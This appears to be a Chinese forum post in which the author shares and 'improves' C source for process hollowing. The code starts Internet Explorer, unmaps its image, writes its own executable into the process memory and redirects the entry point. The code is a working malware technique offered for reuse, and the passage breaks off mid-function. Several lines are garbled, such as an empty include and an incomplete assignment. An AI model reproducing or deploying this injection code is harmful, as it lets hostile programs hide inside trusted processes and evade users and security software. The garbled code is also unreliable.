看着别人的程序想插那个进程就插那个,我也想试下,于是从网上找了几段代码,最容易理解的是下面的代码,不过原来的代码编译后在VC IDE下测试正常,但离开IDE就出错,经过测试和程序启动运行知道是因为编译后,IE尚未启动完成,程序本身已经退出是出错的原因,因些我改进了一下, 贴在下面:
编译须 ntdll.lib文件(可以从http://lengie.ik8.com/test/ntdll_lib_dl.htm下载,里有Win2K,XP 32B,XP 64B三个版本,对应拷到编译器的LIB文件夹里就可以了),可将下面代码保存为 .c 文件然后编译(保存为 .cpp 文件可能会出错)

#include
#include <windows.h>

#pragma comment(lib,"ntdll.lib")

typedef long NTSTATUS;

NTSYSAPI
NTSTATUS
NTAPI
ZwUnmapViewOfSection(
HANDLE ProcessHandle,
PVOID BaseAddress
);

typedef struct _ChildProcessInfo
{
DWORD dwBaseAddress;
DWORD dwReserve;
} CHILDPROCESS;

char szIePath[MAX_PATH];

BOOL FindIePath(char *IePath,int *dwBuffSize);
BOOL InjectProcess(void);
DWORD GetSelfImageSize(HMODULE hModule);

BOOL CreateInjectProcess(
PPROCESS_INFORMATION pi,
PCONTEXT pThreadCxt,
CHILDPROCESS *pChildProcess
);
int main(void)
{
if (InjectProcess())
{
printf("This is my a test code,made by shadow3. ");
}
else
{while(1){
MessageBox(NULL,"进程插入完成","Text",MB_OK);Sleep(1000);}
}
Sleep(1000);//等待IE启动 加上这句就可以正常了,呵呵.我设的时间可能有点长
return 0;
}

BOOL FindIePath(char *IePath,int *dwBuffSize)
{
char szSystemDir[MAX_PATH];

GetSystemDirectory(szSystemDir,MAX_PATH);

szSystemDir[2] =;
lstrcat(szSystemDir,"\Program Files\Internet Explorer\iexplore.exe");

lstrcpy(IePath, szSystemDir);
return TRUE;
}
BOOL InjectProcess(void)
{
char szModulePath[MAX_PATH];
DWORD dwImageSize = 0;

STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
CONTEXT ThreadCxt;
DWORD *PPEB;
DWORD dwWrite = 0;
CHILDPROCESS stChildProcess;
LPVOID lpVirtual = NULL;
PIMAGE_DOS_HEADER pDosheader = NULL;
PIMAGE_NT_HEADERS pVirPeHead = NULL;

HMODULE hModule = NULL;

ZeroMemory(szModulePath,MAX_PATH);
ZeroMemory(szIePath,MAX_PATH);

GetModuleFileName(NULL,szModulePath,MAX_PATH);
FindIePath(szIePath,NULL);

if ( lstrcmpiA(szIePath,szModulePath) == 0 )
{
return FALSE;
}

hModule = GetModuleHandle(NULL);
if ( hModule == NULL )
{
return FALSE;
}

pDosheader = (PIMAGE_DOS_HEADER)hModule;
pVirPeHead = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDosheader->e_lfanew);
_asm nop;_asm nop;_asm nop;_asm nop;
dwImageSize = GetSelfImageSize(hModule);
_asm nop;_asm nop;_asm nop;_asm nop;
if ( CreateInjectProcess(&pi, &ThreadCxt ,&stChildProcess))
{
printf("CHILD PID: [%d] ",pi.dwProcessId);
if ( ZwUnmapViewOfSection(
pi.hProcess,
(LPVOID)stChildProcess.dwBaseAddress
) == 0 )
{
lpVirtual = VirtualAllocEx(
pi.hProcess,
(LPVOID)hModule,
dwImageSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

if ( lpVirtual )
{
printf("Unmapped and Allocated Mem Success. ");
}

}
else
{
printf("ZwUnmapViewOfSection() failed. ");
return TRUE;
}

if ( lpVirtual )
{
PPEB = (DWORD *)ThreadCxt.Ebx;

// 重写装载地址

WriteProcessMemory(
pi.hProcess,
&PPEB[2],
&lpVirtual,
sizeof(DWORD),
&dwWrite
);
if ( WriteProcessMemory(
pi.hProcess,
lpVirtual,
hModule,
dwImageSize,
&dwWrite) )
{
printf("image inject into process success. ");

ThreadCxt.ContextFlags = CONTEXT_FULL;
if ( (DWORD)lpVirtual == stChildProcess.dwBaseAddress )
{
ThreadCxt.Eax = (DWORD)pVirPeHead->OptionalHeader.ImageBase + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
}
else
{
ThreadCxt.Eax = (DWORD)lpVirtual + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
}